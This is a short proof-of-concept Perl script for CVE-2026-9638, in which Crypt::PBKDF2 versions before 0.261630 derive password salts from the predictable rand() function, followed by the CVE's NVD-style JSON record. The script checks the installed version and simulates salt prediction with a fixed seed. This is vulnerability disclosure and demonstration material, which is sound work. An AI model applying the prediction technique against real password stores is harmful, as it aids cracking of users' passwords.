CVE-2026-9638

#!/usr/bin/env perl # CVE-2026-9638 PoC - Predictable Salt Generation in Crypt::PBKDF2 # This PoC demonstrates that rand() is used for salt generation use strict; use warnings; use Crypt::PBKDF2; # Check Crypt::PBKDF2 version my $version = $Crypt::PBKDF2::VERSION; print "Crypt::PBKDF2 version: $version\n"; # Vulnerable version check if (version->new($version) < version->new('0.261630')) { print "[VULNERABLE] Version is before 0.261630\n"; print "Salt generation uses predictable rand() function\n"; # Demonstrate weak salt generation my $pbkdf2 = Crypt::PBKDF2->new( hash_class => 'HMACSHA2', hash_args => { sha_size => 512 }, iterations => 1000, output_len => 32, ); # Generate multiple salts to show predictability print "\nGenerated salts (first 10 bytes in hex):\n"; for my $i (1..5) { my $salt = $pbkdf2->generate_salt(16); my $salt_hex = unpack('H*', $salt); print "Salt $i: $salt_hex\n"; } print "\n[ATTACK] Attacker can predict salt values using rand() seed\n"; print "[RISK] This defeats the purpose of salt in password hashing\n"; print "[RISK] Enables faster brute-force/dictionary attacks\n"; } else { print "[PATCHED] Version 0.261630 or later\n"; print "Uses cryptographically secure random number generator\n"; } # Example of how an attacker might predict salt: print "\n--- Predictable Salt Attack Simulation ---\n"; srand(12345); # Attacker discovers or guesses seed for my $i (1..3) { my $predictable_salt = rand_salt(16); print "Predictable salt: " . unpack('H*', $predictable_salt) . "\n"; } sub rand_salt { my $len = shift; my $salt = ''; for (my $i = 0; $i < $len; $i++) { $salt .= chr(int(rand(256))); } return $salt; }

{"cve": {"id": "CVE-2026-9638", "sourceIdentifier": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "published": "2026-06-12T16:16:34.937", "lastModified": "2026-06-12T18:16:36.030", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Crypt::PBKDF2 versions before 0.261630 for Perl generate insecure random values for salts.\n\nThese versions use the built-in rand function, which is predictable and unsuitable for cryptography."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-338"}]}], "references": [{"url": "https://metacpan.org/dist/Crypt-PBKDF2/source/lib/Crypt/PBKDF2.pm#L86-93", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "https://metacpan.org/release/ARODLAND/Crypt-PBKDF2-0.261630/changes", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "http://www.openwall.com/lists/oss-security/2026/06/12/4", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}